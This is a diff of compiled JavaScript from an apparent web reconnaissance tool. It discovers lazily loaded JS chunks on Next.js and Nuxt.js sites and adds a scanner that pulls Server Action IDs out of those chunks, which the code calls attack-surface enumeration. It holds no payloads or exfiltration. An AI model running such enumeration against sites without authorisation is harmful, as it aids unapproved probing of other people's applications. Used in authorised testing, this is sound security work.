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"}
|
|
@@ -13,7 +13,7 @@ import fs from "fs";
|
|
|
13
13
|
import { runWithConcurrency } from "../../utility/concurrency.js";
|
|
14
14
|
const next_scriptTagsSubsequentRequests = (url_1, endpointsFile_1, ...args_1) => __awaiter(void 0, [url_1, endpointsFile_1, ...args_1], void 0, function* (url, endpointsFile, threads = 1) {
|
|
15
15
|
console.log(chalk.cyan("[i] Getting JS files from subsequent requests (script tags)"));
|
|
16
|
-
|
|
16
|
+
const endpoints = JSON.parse(fs.readFileSync(endpointsFile, "utf8")).paths;
|
|
17
17
|
endpoints.push("/");
|
|
18
18
|
// Content-entropy dedup: fetch each endpoint, compute a fingerprint from its
|
|
19
19
|
// script tags, and skip variants whose fingerprint has already been seen.
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"next_scriptTagsSubsequentRequests.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_scriptTagsSubsequentRequests.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,gBAAgB,MAAM,uBAAuB,CAAC;AACrD,OAAO,EAAE,MAAM,IAAI,CAAC;AACpB,OAAO,EAAE,kBAAkB,EAAE,MAAM,8BAA8B,CAAC;AAElE,MAAM,iCAAiC,GAAG,oCAAgE,EAAE,2EAA3D,GAAW,EAAE,aAAqB,EAAE,UAAkB,CAAC;IACpG,OAAO,CAAC,GAAG,CAAC,KAAK,CAAC,IAAI,CAAC,6DAA6D,CAAC,CAAC,CAAC;IAEvF,
|
|
1
|
+
{"version":3,"file":"next_scriptTagsSubsequentRequests.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_scriptTagsSubsequentRequests.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,KAAK,MAAM,OAAO,CAAC;AAC1B,OAAO,gBAAgB,MAAM,uBAAuB,CAAC;AACrD,OAAO,EAAE,MAAM,IAAI,CAAC;AACpB,OAAO,EAAE,kBAAkB,EAAE,MAAM,8BAA8B,CAAC;AAElE,MAAM,iCAAiC,GAAG,oCAAgE,EAAE,2EAA3D,GAAW,EAAE,aAAqB,EAAE,UAAkB,CAAC;IACpG,OAAO,CAAC,GAAG,CAAC,KAAK,CAAC,IAAI,CAAC,6DAA6D,CAAC,CAAC,CAAC;IAEvF,MAAM,SAAS,GAAG,IAAI,CAAC,KAAK,CAAC,EAAE,CAAC,YAAY,CAAC,aAAa,EAAE,MAAM,CAAC,CAAC,CAAC,KAAK,CAAC;IAE3E,SAAS,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;IAEpB,6EAA6E;IAC7E,0EAA0E;IAC1E,6EAA6E;IAC7E,6EAA6E;IAC7E,0BAA0B;IAC1B,MAAM,gBAAgB,GAAG,IAAI,GAAG,EAAU,CAAC;IAC3C,IAAI,MAAM,GAAa,EAAE,CAAC;IAE1B,MAAM,cAAc,GAAG,SAAS,CAAC,MAAM,CAAC,CAAC,QAAgB,EAAE,EAAE,CAAC,mBAAmB,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC,CAAC;IAElG,MAAM,kBAAkB,CAAC,cAAc,EAAE,OAAO,EAAE,CAAO,QAAgB,EAAE,EAAE;QACzE,IAAI,MAAc,CAAC;QACnB,IAAI,CAAC;YACD,MAAM,GAAG,IAAI,GAAG,CAAC,QAAQ,EAAE,GAAG,CAAC,CAAC,IAAI,CAAC;QACzC,CAAC;QAAC,WAAM,CAAC;YACL,OAAO;QACX,CAAC;QACD,MAAM,OAAO,GAAG,MAAM,gBAAgB,CAAC,MAAM,CAAC,CAAC;QAC/C,MAAM,EAAE,GAAG,CAAC,GAAG,IAAI,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,IAAI,EAAE,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QAClD,IAAI,EAAE,IAAI,gBAAgB,CAAC,GAAG,CAAC,EAAE,CAAC;YAAE,OAAO;QAC3C,IAAI,EAAE;YAAE,gBAAgB,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC;QACjC,MAAM,CAAC,IAAI,CAAC,GAAG,OAAO,CAAC,CAAC;IAC5B,CAAC,CAAA,CAAC,CAAC;IAEH,SAAS;IACT,MAAM,GAAG,CAAC,GAAG,IAAI,GAAG,CAAC,MAAM,CAAC,CAAC,CAAC;IAE9B,IAAI,MAAM,CAAC,MAAM,KAAK,CAAC,EAAE,CAAC;QACtB,OAAO,CAAC,GAAG,CAAC,KAAK,CAAC,KAAK,CAAC,aAAa,MAAM,CAAC,MAAM,kDAAkD,CAAC,CAAC,CAAC;IAC3G,CAAC;IAED,OAAO,MAAM,CAAC;AAClB,CAAC,CAAA,CAAC;AAEF,eAAe,iCAAiC,CAAC"}
|
|
@@ -0,0 +1,77 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import fs from "fs";
|
|
11
|
+
import path from "path";
|
|
12
|
+
/**
|
|
13
|
+
* Matches `createServerReference("<id>", ...)` (and its minified sequence-expression form,
|
|
14
|
+
* `(0, X.createServerReference)("<id>", ...)`) directly in raw chunk text. The property name
|
|
15
|
+
* `createServerReference` itself survives minification (it's accessed off the
|
|
16
|
+
* react-server-dom-webpack runtime import, not a local declaration a minifier would rename),
|
|
17
|
+
* which is also why `map/next_js/resolveServerActions.ts` pre-filters chunks with a substring
|
|
18
|
+
* check on the same string before running its AST-based resolution.
|
|
19
|
+
*/
|
|
20
|
+
const ACTION_ID_CALL_PATTERN = /createServerReference\s*\)?\s*\(\s*["'`]([0-9a-f]{40,})["'`]/gi;
|
|
21
|
+
/**
|
|
22
|
+
* Extracts Server Action IDs referenced via `createServerReference(...)` in a chunk's raw
|
|
23
|
+
* text. Mirrors the ID-format validation in `map/next_js/resolveServerActions.ts`
|
|
24
|
+
* (`/^[0-9a-f]{40,}$/i`), but works on unparsed text rather than a Babel AST — a lightweight
|
|
25
|
+
* signal available at `lazyload` time, before `map`'s full AST-based resolution runs.
|
|
26
|
+
*/
|
|
27
|
+
export const extractServerActionIds = (chunkContent) => {
|
|
28
|
+
const ids = [...chunkContent.matchAll(ACTION_ID_CALL_PATTERN)].map((m) => m[1].toLowerCase());
|
|
29
|
+
return [...new Set(ids)];
|
|
30
|
+
};
|
|
31
|
+
const walkJsFiles = (dir) => {
|
|
32
|
+
if (!fs.existsSync(dir))
|
|
33
|
+
return [];
|
|
34
|
+
const results = [];
|
|
35
|
+
for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
|
|
36
|
+
const fullPath = path.join(dir, entry.name);
|
|
37
|
+
if (entry.isDirectory()) {
|
|
38
|
+
results.push(...walkJsFiles(fullPath));
|
|
39
|
+
}
|
|
40
|
+
else if (entry.isFile() && fullPath.endsWith(".js")) {
|
|
41
|
+
results.push(fullPath);
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
return results;
|
|
45
|
+
};
|
|
46
|
+
/**
|
|
47
|
+
* Walks every downloaded `.js` chunk under `scanDir` and records any Server Action ID
|
|
48
|
+
* referenced in it. This is endpoint enumeration (attack-surface disclosure) only — no
|
|
49
|
+
* action is invoked. A discovered ID is worth cross-referencing against which pages the
|
|
50
|
+
* crawl could actually reach unauthenticated: an ID present in a chunk for a page the crawl
|
|
51
|
+
* never reached without a session is itself a disclosure signal (see
|
|
52
|
+
* js-recon-internal-docs#157 / CVE-2026-64643 for the historical case this generalizes).
|
|
53
|
+
*/
|
|
54
|
+
const next_serverActionIdScan = (scanDir) => __awaiter(void 0, void 0, void 0, function* () {
|
|
55
|
+
const actionIdsByFile = {};
|
|
56
|
+
const allActionIds = new Set();
|
|
57
|
+
for (const filePath of walkJsFiles(scanDir)) {
|
|
58
|
+
let content;
|
|
59
|
+
try {
|
|
60
|
+
content = fs.readFileSync(filePath, "utf-8");
|
|
61
|
+
}
|
|
62
|
+
catch (_a) {
|
|
63
|
+
continue;
|
|
64
|
+
}
|
|
65
|
+
if (!content.includes("createServerReference"))
|
|
66
|
+
continue;
|
|
67
|
+
const ids = extractServerActionIds(content);
|
|
68
|
+
if (ids.length === 0)
|
|
69
|
+
continue;
|
|
70
|
+
actionIdsByFile[path.relative(scanDir, filePath)] = ids;
|
|
71
|
+
for (const id of ids)
|
|
72
|
+
allActionIds.add(id);
|
|
73
|
+
}
|
|
74
|
+
return { actionIdsByFile, allActionIds: [...allActionIds] };
|
|
75
|
+
});
|
|
76
|
+
export default next_serverActionIdScan;
|
|
77
|
+
//# sourceMappingURL=next_serverActionIdScan.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"next_serverActionIdScan.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_serverActionIdScan.ts"],"names":[],"mappings":";;;;;;;;;AAAA,OAAO,EAAE,MAAM,IAAI,CAAC;AACpB,OAAO,IAAI,MAAM,MAAM,CAAC;AAExB;;;;;;;GAOG;AACH,MAAM,sBAAsB,GAAG,gEAAgE,CAAC;AAEhG;;;;;GAKG;AACH,MAAM,CAAC,MAAM,sBAAsB,GAAG,CAAC,YAAoB,EAAY,EAAE;IACrE,MAAM,GAAG,GAAG,CAAC,GAAG,YAAY,CAAC,QAAQ,CAAC,sBAAsB,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,WAAW,EAAE,CAAC,CAAC;IAC9F,OAAO,CAAC,GAAG,IAAI,GAAG,CAAC,GAAG,CAAC,CAAC,CAAC;AAC7B,CAAC,CAAC;AAEF,MAAM,WAAW,GAAG,CAAC,GAAW,EAAY,EAAE;IAC1C,IAAI,CAAC,EAAE,CAAC,UAAU,CAAC,GAAG,CAAC;QAAE,OAAO,EAAE,CAAC;IACnC,MAAM,OAAO,GAAa,EAAE,CAAC;IAC7B,KAAK,MAAM,KAAK,IAAI,EAAE,CAAC,WAAW,CAAC,GAAG,EAAE,EAAE,aAAa,EAAE,IAAI,EAAE,CAAC,EAAE,CAAC;QAC/D,MAAM,QAAQ,GAAG,IAAI,CAAC,IAAI,CAAC,GAAG,EAAE,KAAK,CAAC,IAAI,CAAC,CAAC;QAC5C,IAAI,KAAK,CAAC,WAAW,EAAE,EAAE,CAAC;YACtB,OAAO,CAAC,IAAI,CAAC,GAAG,WAAW,CAAC,QAAQ,CAAC,CAAC,CAAC;QAC3C,CAAC;aAAM,IAAI,KAAK,CAAC,MAAM,EAAE,IAAI,QAAQ,CAAC,QAAQ,CAAC,KAAK,CAAC,EAAE,CAAC;YACpD,OAAO,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC;QAC3B,CAAC;IACL,CAAC;IACD,OAAO,OAAO,CAAC;AACnB,CAAC,CAAC;AASF;;;;;;;GAOG;AACH,MAAM,uBAAuB,GAAG,CAAO,OAAe,EAAqC,EAAE;IACzF,MAAM,eAAe,GAA6B,EAAE,CAAC;IACrD,MAAM,YAAY,GAAG,IAAI,GAAG,EAAU,CAAC;IAEvC,KAAK,MAAM,QAAQ,IAAI,WAAW,CAAC,OAAO,CAAC,EAAE,CAAC;QAC1C,IAAI,OAAe,CAAC;QACpB,IAAI,CAAC;YACD,OAAO,GAAG,EAAE,CAAC,YAAY,CAAC,QAAQ,EAAE,OAAO,CAAC,CAAC;QACjD,CAAC;QAAC,WAAM,CAAC;YACL,SAAS;QACb,CAAC;QACD,IAAI,CAAC,OAAO,CAAC,QAAQ,CAAC,uBAAuB,CAAC;YAAE,SAAS;QAEzD,MAAM,GAAG,GAAG,sBAAsB,CAAC,OAAO,CAAC,CAAC;QAC5C,IAAI,GAAG,CAAC,MAAM,KAAK,CAAC;YAAE,SAAS;QAE/B,eAAe,CAAC,IAAI,CAAC,QAAQ,CAAC,OAAO,EAAE,QAAQ,CAAC,CAAC,GAAG,GAAG,CAAC;QACxD,KAAK,MAAM,EAAE,IAAI,GAAG;YAAE,YAAY,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC;IAC/C,CAAC;IAED,OAAO,EAAE,eAAe,EAAE,YAAY,EAAE,CAAC,GAAG,YAAY,CAAC,EAAE,CAAC;AAChE,CAAC,CAAA,CAAC;AAEF,eAAe,uBAAuB,CAAC"}
|
|
@@ -13,11 +13,11 @@ import _traverse from "@babel/traverse";
|
|
|
13
13
|
const traverse = ((_a = _traverse.default) !== null && _a !== void 0 ? _a : _traverse);
|
|
14
14
|
import execFunc from "../../utility/runSandboxed.js";
|
|
15
15
|
import makeRequest from "../../utility/makeReq.js";
|
|
16
|
-
import chalk from "chalk";
|
|
17
16
|
import inquirer from "inquirer";
|
|
18
17
|
import t from "@babel/types";
|
|
19
18
|
import resolvePath from "../../utility/resolvePath.js";
|
|
20
19
|
import * as globals from "../../utility/globals.js";
|
|
20
|
+
import { printMsg, MSG } from "../../utility/printMsg.js";
|
|
21
21
|
/**
|
|
22
22
|
* Pure parser: extracts all function nodes from `jsContent` whose source code
|
|
23
23
|
* ends with the pattern `".js"` followed by up to 15 characters — the signature
|
|
@@ -68,12 +68,12 @@ export const extractChunkBuilderFunctions = (jsContent) => {
|
|
|
68
68
|
* Finds all the lazy loaded JS files from a given URL using a Nuxt.js specific approach.
|
|
69
69
|
*/
|
|
70
70
|
const nuxt_astParse = (url) => __awaiter(void 0, void 0, void 0, function* () {
|
|
71
|
-
|
|
71
|
+
const filesFound = [];
|
|
72
72
|
const resp = yield makeRequest(url, {});
|
|
73
73
|
const body = yield resp.text();
|
|
74
74
|
const functions = extractChunkBuilderFunctions(body);
|
|
75
75
|
if (functions.length === 0) {
|
|
76
|
-
|
|
76
|
+
printMsg(MSG.Err, `[!] Error parsing JS file: ${url}`);
|
|
77
77
|
return filesFound;
|
|
78
78
|
}
|
|
79
79
|
// Rebuild the full AST for later member-expression resolution.
|
|
@@ -86,13 +86,13 @@ const nuxt_astParse = (url) => __awaiter(void 0, void 0, void 0, function* () {
|
|
|
86
86
|
});
|
|
87
87
|
}
|
|
88
88
|
catch (error) {
|
|
89
|
-
|
|
89
|
+
printMsg(MSG.Err, `[!] Error parsing JS file: ${url}`);
|
|
90
90
|
return filesFound;
|
|
91
91
|
}
|
|
92
92
|
for (const func of functions) {
|
|
93
93
|
{
|
|
94
|
-
|
|
95
|
-
|
|
94
|
+
printMsg(MSG.Run, `[✓] Found JS chunk having the following source:`);
|
|
95
|
+
printMsg(MSG.Warn, func.source);
|
|
96
96
|
let user_verified;
|
|
97
97
|
if (!globals.getYes()) {
|
|
98
98
|
const askCorrectFuncConfirmation = () => __awaiter(void 0, void 0, void 0, function* () {
|
|
@@ -112,10 +112,10 @@ const nuxt_astParse = (url) => __awaiter(void 0, void 0, void 0, function* () {
|
|
|
112
112
|
user_verified = true;
|
|
113
113
|
}
|
|
114
114
|
if (user_verified === true) {
|
|
115
|
-
|
|
115
|
+
printMsg(MSG.Header, "[i] Proceeding with the selected function to fetch files");
|
|
116
116
|
}
|
|
117
117
|
else {
|
|
118
|
-
|
|
118
|
+
printMsg(MSG.Err, "[!] Not executing function.");
|
|
119
119
|
continue;
|
|
120
120
|
}
|
|
121
121
|
// get the value of the unknown vars
|
|
@@ -125,7 +125,7 @@ const nuxt_astParse = (url) => __awaiter(void 0, void 0, void 0, function* () {
|
|
|
125
125
|
plugins: ["jsx", "typescript"],
|
|
126
126
|
errorRecovery: true,
|
|
127
127
|
});
|
|
128
|
-
|
|
128
|
+
const memberExpressions = [];
|
|
129
129
|
traverse(unknownVarAst, {
|
|
130
130
|
MemberExpression(path) {
|
|
131
131
|
// Only collect identifiers like f.p (not obj["x"])
|
|
@@ -162,10 +162,12 @@ const nuxt_astParse = (url) => __awaiter(void 0, void 0, void 0, function* () {
|
|
|
162
162
|
},
|
|
163
163
|
});
|
|
164
164
|
// replace the unknown var with the value
|
|
165
|
-
const funcSource = func.source.replace(
|
|
165
|
+
const funcSource = func.source.replace(
|
|
166
|
+
// eslint-disable-next-line security/detect-non-literal-regexp -- unknownVar values are AST-derived identifier/property names, which cannot contain regex metacharacters
|
|
167
|
+
new RegExp(`${unknownVar[0]}.${unknownVar[1]}`), `"${unknownVarValue}"`);
|
|
166
168
|
// continue to executing the function with all possible numbers
|
|
167
169
|
const urlBuilderFunc = `(() => (${funcSource}))()`;
|
|
168
|
-
|
|
170
|
+
const js_paths = [];
|
|
169
171
|
try {
|
|
170
172
|
// rather than fuzzing, grep the integers from the func code
|
|
171
173
|
const integers = funcSource.match(/\d+/g);
|
|
@@ -184,7 +186,7 @@ const nuxt_astParse = (url) => __awaiter(void 0, void 0, void 0, function* () {
|
|
|
184
186
|
}
|
|
185
187
|
}
|
|
186
188
|
catch (error) {
|
|
187
|
-
|
|
189
|
+
printMsg(MSG.Err, `[!] Error executing function: ${error}`);
|
|
188
190
|
}
|
|
189
191
|
if (js_paths.length > 0) {
|
|
190
192
|
// iterate through the files, and resolve them
|
|
@@ -196,7 +198,7 @@ const nuxt_astParse = (url) => __awaiter(void 0, void 0, void 0, function* () {
|
|
|
196
198
|
}
|
|
197
199
|
}
|
|
198
200
|
if (filesFound.length > 0) {
|
|
199
|
-
|
|
201
|
+
printMsg(MSG.Run, `[✓] Found ${filesFound.length} JS chunks`);
|
|
200
202
|
}
|
|
201
203
|
return filesFound;
|
|
202
204
|
});
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"nuxt_astParse.js","sourceRoot":"","sources":["../../../src/lazyLoad/nuxt_js/nuxt_astParse.ts"],"names":[],"mappings":";;;;;;;;;;AAAA,OAAO,MAAM,MAAM,eAAe,CAAC;AACnC,OAAO,SAAS,MAAM,iBAAiB,CAAC;AACxC,MAAM,QAAQ,GAAG,CAAC,MAAA,SAAS,CAAC,OAAO,mCAAI,SAAS,CAA6B,CAAC;AAC9E,OAAO,QAAQ,MAAM,+BAA+B,CAAC;AACrD,OAAO,WAAW,MAAM,0BAA0B,CAAC;AACnD,OAAO,
|
|
1
|
+
{"version":3,"file":"nuxt_astParse.js","sourceRoot":"","sources":["../../../src/lazyLoad/nuxt_js/nuxt_astParse.ts"],"names":[],"mappings":";;;;;;;;;;AAAA,OAAO,MAAM,MAAM,eAAe,CAAC;AACnC,OAAO,SAAS,MAAM,iBAAiB,CAAC;AACxC,MAAM,QAAQ,GAAG,CAAC,MAAA,SAAS,CAAC,OAAO,mCAAI,SAAS,CAA6B,CAAC;AAC9E,OAAO,QAAQ,MAAM,+BAA+B,CAAC;AACrD,OAAO,WAAW,MAAM,0BAA0B,CAAC;AACnD,OAAO,QAAQ,MAAM,UAAU,CAAC;AAChC,OAAO,CAAC,MAAM,cAAc,CAAC;AAC7B,OAAO,WAAW,MAAM,8BAA8B,CAAC;AACvD,OAAO,KAAK,OAAO,MAAM,0BAA0B,CAAC;AACpD,OAAO,EAAE,QAAQ,EAAE,GAAG,EAAE,MAAM,2BAA2B,CAAC;AAQ1D;;;;GAIG;AACH,MAAM,CAAC,MAAM,4BAA4B,GAAG,CAAC,SAAiB,EAA0B,EAAE;IACtF,MAAM,SAAS,GAA2B,EAAE,CAAC;IAC7C,IAAI,GAAQ,CAAC;IACb,IAAI,CAAC;QACD,GAAG,GAAG,MAAM,CAAC,KAAK,CAAC,SAAS,EAAE;YAC1B,UAAU,EAAE,QAAQ;YACpB,OAAO,EAAE,CAAC,KAAK,EAAE,YAAY,CAAC;YAC9B,aAAa,EAAE,IAAI;SACtB,CAAC,CAAC;IACP,CAAC;IAAC,WAAM,CAAC;QACL,OAAO,SAAS,CAAC;IACrB,CAAC;IAED,MAAM,OAAO,GAAG,CAAC,IAAS,EAAE,IAAY,EAAE,IAAY,EAAE,EAAE;QACtD,MAAM,MAAM,GAAG,SAAS,CAAC,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,KAAK,EAAE,IAAI,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QAC/D,IAAI,MAAM,CAAC,KAAK,CAAC,gBAAgB,CAAC,EAAE,CAAC;YACjC,SAAS,CAAC,IAAI,CAAC,EAAE,IAAI,EAAE,IAAI,EAAE,MAAM,EAAE,CAAC,CAAC;QAC3C,CAAC;IACL,CAAC,CAAC;IAEF,QAAQ,CAAC,GAAG,EAAE;QACV,mBAAmB,CAAC,IAAI;;YACpB,OAAO,CAAC,IAAI,EAAE,CAAA,MAAA,IAAI,CAAC,IAAI,CAAC,EAAE,0CAAE,IAAI,KAAI,aAAa,EAAE,qBAAqB,CAAC,CAAC;QAC9E,CAAC;QACD,kBAAkB,CAAC,IAAI;;YACnB,OAAO,CAAC,IAAI,EAAE,CAAA,MAAC,IAAI,CAAC,MAAc,CAAC,EAAE,0CAAE,IAAI,KAAI,aAAa,EAAE,oBAAoB,CAAC,CAAC;QACxF,CAAC;QACD,uBAAuB,CAAC,IAAI;;YACxB,OAAO,CAAC,IAAI,EAAE,CAAA,MAAC,IAAI,CAAC,MAAc,CAAC,EAAE,0CAAE,IAAI,KAAI,aAAa,EAAE,yBAAyB,CAAC,CAAC;QAC7F,CAAC;QACD,YAAY,CAAC,IAAI;YACb,OAAO,CAAC,IAAI,EAAG,IAAI,CAAC,IAAI,CAAC,GAAW,CAAC,IAAI,EAAE,cAAc,CAAC,CAAC;QAC/D,CAAC;QACD,WAAW,CAAC,IAAI;YACZ,OAAO,CAAC,IAAI,EAAG,IAAI,CAAC,IAAI,CAAC,GAAW,CAAC,IAAI,EAAE,aAAa,CAAC,CAAC;QAC9D,CAAC;KACJ,CAAC,CAAC;IAEH,OAAO,SAAS,CAAC;AACrB,CAAC,CAAC;AAEF;;GAEG;AACH,MAAM,aAAa,GAAG,CAAO,GAAW,EAAE,EAAE;IACxC,MAAM,UAAU,GAAG,EAAE,CAAC;IACtB,MAAM,IAAI,GAAG,MAAM,WAAW,CAAC,GAAG,EAAE,EAAE,CAAC,CAAC;IACxC,MAAM,IAAI,